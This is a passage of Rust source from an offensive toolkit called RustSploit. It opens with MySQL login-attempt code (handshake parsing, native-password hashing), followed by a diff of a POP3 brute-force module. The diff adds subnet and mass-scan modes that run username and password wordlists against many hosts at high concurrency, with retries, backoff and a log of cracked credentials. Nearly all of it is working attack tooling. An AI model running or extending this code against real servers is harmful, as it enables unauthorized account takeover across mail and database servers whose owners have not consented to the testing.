tokio::time::timeout(Duration::from_millis(READ_TIMEOUT_MS), stream.read_exact(&mut header))
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading MySQL packet header"))?
|
||||
.map_err(|e| anyhow!("Failed to read packet header: {}", e))?;
|
||||
|
||||
let length = (header[0] as u32) | ((header[1] as u32) << 8) | ((header[2] as u32) << 16);
|
||||
let seq = header[3];
|
||||
|
||||
if length > 65_536 {
|
||||
return Err(anyhow!("MySQL packet too large: {} bytes", length));
|
||||
}
|
||||
|
||||
let mut payload = vec![0u8; length as usize];
|
||||
tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut payload),
|
||||
)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading MySQL packet payload"))?
|
||||
.map_err(|e| anyhow!("Failed to read packet payload: {}", e))?;
|
||||
|
||||
Ok((seq, payload))
|
||||
}
|
||||
|
||||
/// Write a MySQL packet with the given sequence number.
|
||||
async fn write_mysql_packet(stream: &mut TcpStream, seq: u8, payload: &[u8]) -> Result<()> {
|
||||
let len = payload.len() as u32;
|
||||
let header = [
|
||||
(len & 0xFF) as u8,
|
||||
((len >> 8) & 0xFF) as u8,
|
||||
((len >> 16) & 0xFF) as u8,
|
||||
seq,
|
||||
];
|
||||
stream
|
||||
.write_all(&header)
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to write packet header: {}", e))?;
|
||||
stream
|
||||
.write_all(payload)
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to write packet payload: {}", e))?;
|
||||
stream
|
||||
.flush()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to flush: {}", e))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Parse the HandshakeV10 greeting to extract the 20-byte auth salt (scramble).
|
||||
fn parse_handshake_v10(payload: &[u8]) -> Result<Vec<u8>> {
|
||||
if payload.is_empty() {
|
||||
return Err(anyhow!("Empty handshake packet"));
|
||||
}
|
||||
|
||||
// Check for ERR packet (server rejected connection immediately)
|
||||
if payload[0] == 0xFF {
|
||||
let msg = if payload.len() > 3 {
|
||||
String::from_utf8_lossy(&payload[3..]).to_string()
|
||||
} else {
|
||||
"Unknown error".to_string()
|
||||
};
|
||||
return Err(anyhow!("Server error: {}", msg));
|
||||
}
|
||||
|
||||
if payload[0] != MYSQL_PROTOCOL_V10 {
|
||||
return Err(anyhow!(
|
||||
"Unsupported MySQL protocol version: {}",
|
||||
payload[0]
|
||||
));
|
||||
}
|
||||
|
||||
// Skip protocol version (1 byte)
|
||||
let mut pos = 1;
|
||||
|
||||
// Skip server version string (null-terminated)
|
||||
while pos < payload.len() && payload[pos] != 0 {
|
||||
pos += 1;
|
||||
}
|
||||
pos += 1; // skip null terminator
|
||||
|
||||
if pos + 4 > payload.len() {
|
||||
return Err(anyhow!("Handshake too short (no thread id)"));
|
||||
}
|
||||
|
||||
// Skip thread id (4 bytes)
|
||||
pos += 4;
|
||||
|
||||
// auth_plugin_data_part_1: 8 bytes
|
||||
if pos + 8 > payload.len() {
|
||||
return Err(anyhow!("Handshake too short (no salt part 1)"));
|
||||
}
|
||||
let salt_part1 = &payload[pos..pos + 8];
|
||||
pos += 8;
|
||||
|
||||
// Skip filler (1 byte)
|
||||
pos += 1;
|
||||
|
||||
// Skip capability_flags_lower (2 bytes)
|
||||
if pos + 2 > payload.len() {
|
||||
// Some very old servers may stop here; we only have 8-byte salt
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
pos += 2;
|
||||
|
||||
// Skip character_set (1 byte), status_flags (2 bytes), capability_flags_upper (2 bytes)
|
||||
if pos + 5 > payload.len() {
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
pos += 5;
|
||||
|
||||
// auth_plugin_data_len or 0 (1 byte)
|
||||
if pos >= payload.len() {
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
let auth_data_len = payload[pos] as usize;
|
||||
pos += 1;
|
||||
|
||||
// Skip reserved (10 bytes)
|
||||
if pos + 10 > payload.len() {
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
pos += 10;
|
||||
|
||||
// auth_plugin_data_part_2: max(13, auth_data_len - 8) bytes
|
||||
// We need at least 12 more bytes to get the full 20-byte scramble
|
||||
let part2_len = if auth_data_len > 8 {
|
||||
(auth_data_len - 8).max(12)
|
||||
} else {
|
||||
12
|
||||
};
|
||||
|
||||
let available = payload.len().saturating_sub(pos);
|
||||
let take = part2_len.min(available);
|
||||
let salt_part2 = &payload[pos..pos + take];
|
||||
|
||||
// Combine: salt_part1 (8) + salt_part2 (up to 12, strip trailing null)
|
||||
let mut salt = salt_part1.to_vec();
|
||||
for &b in salt_part2 {
|
||||
if b == 0 {
|
||||
break;
|
||||
}
|
||||
salt.push(b);
|
||||
}
|
||||
|
||||
Ok(salt)
|
||||
}
|
||||
|
||||
/// Compute mysql_native_password auth response.
|
||||
///
|
||||
/// auth_response = SHA1(password) XOR SHA1(scramble + SHA1(SHA1(password)))
|
||||
///
|
||||
/// For empty passwords, returns an empty Vec (no auth data).
|
||||
fn compute_native_auth(password: &str, scramble: &[u8]) -> Vec<u8> {
|
||||
if password.is_empty() {
|
||||
return Vec::new();
|
||||
}
|
||||
|
||||
// SHA1(password)
|
||||
let sha1_pass = {
|
||||
let mut h = Sha1::new();
|
||||
h.update(password.as_bytes());
|
||||
h.finalize()
|
||||
};
|
||||
|
||||
// SHA1(SHA1(password))
|
||||
let sha1_sha1_pass = {
|
||||
let mut h = Sha1::new();
|
||||
h.update(&sha1_pass);
|
||||
h.finalize()
|
||||
};
|
||||
|
||||
// SHA1(scramble + SHA1(SHA1(password)))
|
||||
let sha1_scramble_double = {
|
||||
let mut h = Sha1::new();
|
||||
h.update(scramble);
|
||||
h.update(&sha1_sha1_pass);
|
||||
h.finalize()
|
||||
};
|
||||
|
||||
// XOR: SHA1(password) ^ SHA1(scramble + SHA1(SHA1(password)))
|
||||
sha1_pass
|
||||
.iter()
|
||||
.zip(sha1_scramble_double.iter())
|
||||
.map(|(a, b)| a ^ b)
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Build the HandshakeResponse41 packet payload.
|
||||
fn build_handshake_response(username: &str, auth_response: &[u8], database: &str) -> Vec<u8> {
|
||||
let mut buf = Vec::with_capacity(128);
|
||||
|
||||
// client_flag (4 bytes)
|
||||
let flags: u32 = CLIENT_PROTOCOL_41 | CLIENT_SECURE_CONNECTION | CLIENT_PLUGIN_AUTH;
|
||||
buf.extend_from_slice(&flags.to_le_bytes());
|
||||
|
||||
// max_packet_size (4 bytes)
|
||||
buf.extend_from_slice(&MAX_PACKET_SIZE.to_le_bytes());
|
||||
|
||||
// character_set (1 byte)
|
||||
buf.push(CHARSET_UTF8);
|
||||
|
||||
// reserved (23 zero bytes)
|
||||
buf.extend_from_slice(&[0u8; 23]);
|
||||
|
||||
// username (null-terminated)
|
||||
buf.extend_from_slice(username.as_bytes());
|
||||
buf.push(0);
|
||||
|
||||
// auth_response length-encoded
|
||||
if auth_response.is_empty() {
|
||||
buf.push(0);
|
||||
} else {
|
||||
buf.push(auth_response.len() as u8);
|
||||
buf.extend_from_slice(auth_response);
|
||||
}
|
||||
|
||||
// database (null-terminated) -- omit for now; not all servers require it
|
||||
if !database.is_empty() {
|
||||
buf.extend_from_slice(database.as_bytes());
|
||||
buf.push(0);
|
||||
}
|
||||
|
||||
// auth plugin name (null-terminated)
|
||||
buf.extend_from_slice(b"mysql_native_password");
|
||||
buf.push(0);
|
||||
|
||||
buf
|
||||
}
|
||||
|
||||
/// Attempt MySQL authentication against a target address.
|
||||
async fn try_mysql_auth(addr: &str, username: &str, password: &str) -> MysqlResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return MysqlResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
};
|
||||
|
||||
// Read server greeting (HandshakeV10)
|
||||
let (_seq, greeting) = match read_mysql_packet(&mut stream).await {
|
||||
Ok(p) => p,
|
||||
Err(e) => return MysqlResult::ProtocolError(format!("Failed to read greeting: {}", e)),
|
||||
};
|
||||
|
||||
// Parse the greeting to extract the scramble (salt)
|
||||
let scramble = match parse_handshake_v10(&greeting) {
|
||||
Ok(s) => s,
|
||||
Err(e) => return MysqlResult::ProtocolError(format!("Handshake parse error: {}", e)),
|
||||
};
|
||||
|
||||
// Compute auth response
|
||||
let auth_response = compute_native_auth(password, &scramble);
|
||||
|
||||
// Build and send HandshakeResponse41
|
||||
let response_payload = build_handshake_response(username, &auth_response, "");
|
||||
if let Err(e) = write_mysql_packet(&mut stream, 1, &response_payload).await {
|
||||
return MysqlResult::ConnectionError(format!("Failed to send auth: {}", e));
|
||||
}
|
||||
|
||||
// Read server response
|
||||
let (_seq, response) = match read_mysql_packet(&mut stream).await {
|
||||
Ok(p) => p,
|
||||
Err(e) => {
|
||||
return MysqlResult::ConnectionError(format!("Failed to read auth response: {}", e))
|
||||
}
|
||||
};
|
||||
|
||||
if response.is_empty() {
|
||||
return MysqlResult::ProtocolError("Empty auth response from server".to_string());
|
||||
}
|
||||
|
||||
match response[0] {
|
||||
0x00 => MysqlResult::Success, // OK packet
|
||||
0xFE => MysqlResult::AuthFailed, // EOF / auth switch request (treat as failure)
|
||||
0xFF => {
|
||||
// ERR packet: skip error code (2 bytes) + sql_state marker + state (5 bytes)
|
||||
let msg = if response.len() > 9 {
|
||||
String::from_utf8_lossy(&response[9..]).to_string()
|
||||
} else if response.len() > 3 {
|
||||
String::from_utf8_lossy(&response[3..]).to_string()
|
||||
} else {
|
||||
"Unknown error".to_string()
|
||||
};
|
||||
// MySQL error 1045 = Access denied
|
||||
if msg.contains("Access denied") || (response.len() > 2 && response[1] == 0x15 && response[2] == 0x04) {
|
||||
MysqlResult::AuthFailed
|
||||
} else {
|
||||
MysqlResult::ProtocolError(msg)
|
||||
}
|
||||
}
|
||||
other => MysqlResult::ProtocolError(format!("Unexpected response type: 0x{:02X}", other)),
|
||||
}
|
||||
}
|
||||
@@ -1,316 +1,379 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use native_tls::TlsConnector;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::TcpStream;
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default,
|
||||
load_lines,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
backoff_delay,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "POP3 Brute Force".to_string(),
|
||||
description: "Brute-force POP3 authentication with SSL/TLS support. Tests credentials against POP3 mail servers with combo mode, retry logic, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Clone)]
|
||||
struct Pop3BruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
use_ssl: bool,
|
||||
connection_timeout: u64,
|
||||
retry_on_error: bool,
|
||||
max_retries: usize,
|
||||
output_file: String,
|
||||
delay_ms: u64,
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum Pop3ErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl Pop3ErrorType {
|
||||
/// Classify a POP3 error from its message string for smarter retry decisions.
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("authentication")
|
||||
|| lower.contains("login")
|
||||
|| lower.contains("-err")
|
||||
|| lower.contains("invalid credential")
|
||||
|| lower.contains("bad password")
|
||||
{
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether this error type is worth retrying.
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct Pop3Error {
|
||||
error_type: Pop3ErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for Pop3Error {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for Pop3Error {}
|
||||
|
||||
impl Pop3Error {
|
||||
fn from_anyhow(err: anyhow::Error) -> Self {
|
||||
let msg = err.to_string();
|
||||
let error_type = Pop3ErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
println!();
|
||||
crate::mprintln!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false).await?;
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = std::sync::Arc::new(load_lines(&usernames_file)?);
|
||||
let passes = std::sync::Arc::new(load_lines(&passwords_file)?);
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "POP3",
|
||||
default_port: if use_ssl { 995 } else { 110 },
|
||||
state_file: "pop3_hose_state.log",
|
||||
default_output: "pop3_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let mut retry_attempt: u32 = 0;
|
||||
let max_retries: u32 = 3;
|
||||
let mut should_skip_host = false;
|
||||
loop {
|
||||
let t = target_str.clone();
|
||||
let u = user.clone();
|
||||
let p = pass.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&t, port, &u, &p, use_ssl, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{}:{}:{}", ip, port, user, pass).green().bold());
|
||||
return Some(line);
|
||||
}
|
||||
Ok(Ok(false)) => break, // auth failed, try next credential
|
||||
Ok(Err(e)) => {
|
||||
if e.error_type.is_retryable() && retry_attempt < max_retries {
|
||||
retry_attempt += 1;
|
||||
let delay = backoff_delay(500, retry_attempt, 8);
|
||||
tokio::time::sleep(delay).await;
|
||||
continue;
|
||||
}
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
Err(_) => {
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if should_skip_host {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "pop3_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = 5;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "pop3",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/pop3_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&target_str, port, &user, &pass, use_ssl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
|
||||
let port = prompt_int_range("Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
|
||||
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
|
||||
|
||||
let threads = prompt_int_range("Threads", 16, 1, 256).await? as usize;
|
||||
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
let connection_timeout = prompt_int_range("Timeout (s)", 5, 1, 60).await? as u64;
|
||||
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", false).await?;
|
||||
|
||||
let output_file = prompt_default("Output file for results", "pop3_results.txt").await?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let retry_on_error = prompt_yes_no("Retry failed connections?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
prompt_int_range("Max retries", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let username_wordlist = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let password_wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 16, 1, 256).await? as usize;
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Timeout (s)", 5, 1, 60).await? as u64;
|
||||
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", false).await?;
|
||||
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "pop3_results.txt").await?;
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry failed connections?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let config = Pop3BruteforceConfig {
|
||||
let usernames = load_lines(&username_wordlist)?;
|
||||
let passwords = load_lines(&password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
anyhow::bail!("Username or password list is empty — nothing to bruteforce");
|
||||
}
|
||||
|
||||
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[Starting Attack]".bold().yellow());
|
||||
crate::mprintln!();
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&t, p, &user, &pass, use_ssl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
concurrency: threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
use_ssl,
|
||||
connection_timeout,
|
||||
retry_on_error,
|
||||
max_retries,
|
||||
output_file,
|
||||
delay_ms,
|
||||
};
|
||||
max_retries,
|
||||
service_name: "pop3",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/pop3_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
println!();
|
||||
println!("{}", "[Starting Attack]".bold().yellow());
|
||||
println!();
|
||||
|
||||
run_pop3_bruteforce(config).await
|
||||
}
|
||||
|
||||
async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
|
||||
// Determine loading strategy
|
||||
let _user_count = count_lines(&config.username_wordlist)?;
|
||||
let _pass_count = count_lines(&config.password_wordlist)?;
|
||||
|
||||
// We will use memory mode for simpler implementation unless huge, but for now standard load_lines
|
||||
// If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now
|
||||
// or use the streaming logic if I can adapt it easily.
|
||||
// To match other modules (ssh/ftp), I'll use load_lines.
|
||||
|
||||
let usernames = load_lines(&config.username_wordlist)?;
|
||||
let passwords = load_lines(&config.password_wordlist)?;
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
std::cmp::max(usernames.len(), passwords.len())
|
||||
};
|
||||
|
||||
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
println!("[*] Total attempts: {}", total_attempts);
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let found_creds = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let _start_time = std::time::Instant::now();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(config.threads));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate combinations
|
||||
let mut combos = Vec::new();
|
||||
if config.full_combo {
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Linear mix: try u[0] p[0], u[1] p[1]... cycle if needed
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
let u = &usernames[i % usernames.len()];
|
||||
let p = &passwords[i % passwords.len()];
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
// Process combinations
|
||||
for (user, pass) in combos {
|
||||
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let config_clone = config.clone();
|
||||
let stats_clone = stats.clone();
|
||||
let found_clone = found_creds.clone();
|
||||
let stop_signal_clone = stop_signal.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit; // Hold permit
|
||||
|
||||
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Retry loop
|
||||
let mut retries = 0;
|
||||
loop {
|
||||
let config_inner = config_clone.clone();
|
||||
let user_inner = user_clone.clone();
|
||||
let pass_inner = pass_clone.clone();
|
||||
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&config_inner, &user_inner, &pass_inner)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
println!("\r{}", format!("[+] Found: {}:{}", user, pass).green().bold());
|
||||
found_clone.lock().await.push((user.clone(), pass.clone()));
|
||||
stats_clone.record_success();
|
||||
if config_clone.stop_on_success {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
},
|
||||
Ok(Ok(false)) => {
|
||||
stats_clone.record_failure();
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
|
||||
}
|
||||
break;
|
||||
},
|
||||
Ok(Err(e)) => {
|
||||
if config_clone.retry_on_error && retries < config_clone.max_retries {
|
||||
retries += 1;
|
||||
stats_clone.record_retry();
|
||||
// Small backoff
|
||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
||||
continue;
|
||||
}
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
|
||||
}
|
||||
break;
|
||||
},
|
||||
Err(e) => {
|
||||
stats_clone.record_error(format!("Task panic: {}", e)).await;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if config_clone.delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
|
